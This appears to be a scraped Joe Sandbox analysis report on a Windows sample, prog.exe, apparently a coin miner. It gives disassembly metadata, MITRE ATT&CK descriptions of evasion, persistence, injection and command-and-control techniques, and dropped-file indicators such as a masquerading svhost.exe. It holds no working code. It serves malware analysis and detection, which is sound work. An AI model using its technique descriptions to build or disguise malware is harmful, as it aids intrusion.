Opcode ID: e98abfdb66b005230666cefb8bb138f343860c5c49056fd61f3a649d537574df
Instruction ID: 233618597b7e535b24c227edc50f09a6d47624affa2d2e0b4ffcbdc956f57c6c
Opcode Fuzzy Hash: e98abfdb66b005230666cefb8bb138f343860c5c49056fd61f3a649d537574df
Instruction Fuzzy Hash: 2C5126B2710A44D6EB22CF67F8407E92762B75DBE8F448221EB19177B4CB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: d66f37e81a20c217f8459b1684a986a2cdf377bf4add95fca66ac158cfd96480
Instruction ID: 574c611a02d6c1612ca151b8e3957570b49d9af41173dbaee69110e7721d7622
Opcode Fuzzy Hash: d66f37e81a20c217f8459b1684a986a2cdf377bf4add95fca66ac158cfd96480
Instruction Fuzzy Hash: 65F09671614A8482E612EB76F9413ED6361E75D7C1F54D211FF4D67662DF38D282C300

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 4584547b92fcb7da5dbf4dcde82a9c4324356799e97110344a2820feedb618a3
Instruction ID: be3c70fffd8d417618adc2cc35d07084ba66c74b3674d4ef524ecab3b54e1663
Opcode Fuzzy Hash: 4584547b92fcb7da5dbf4dcde82a9c4324356799e97110344a2820feedb618a3
Instruction Fuzzy Hash: B601A4B5205A0192FA17DB53FD043E86365BB2CBD1F454021EF1953AB4DB7889968700

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report prog.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\win32\svhost.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0clplbcd.mp2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_120ozldt.xt5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qkqt4yur.xc1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wev4shdz.3ic.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_53ji52ho.qwi.psm1

C:\Windows\Temp\__PSScriptPolicyTest_agef4gqi.jsx.ps1

C:\Windows\Temp\__PSScriptPolicyTest_ptcbpiqz.4kc.ps1

C:\Windows\Temp\__PSScriptPolicyTest_pzo521gx.ly2.psm1

C:\Windows\Temp\pnhtlztmuvjx.sys

Windows Analysis Report
prog.exe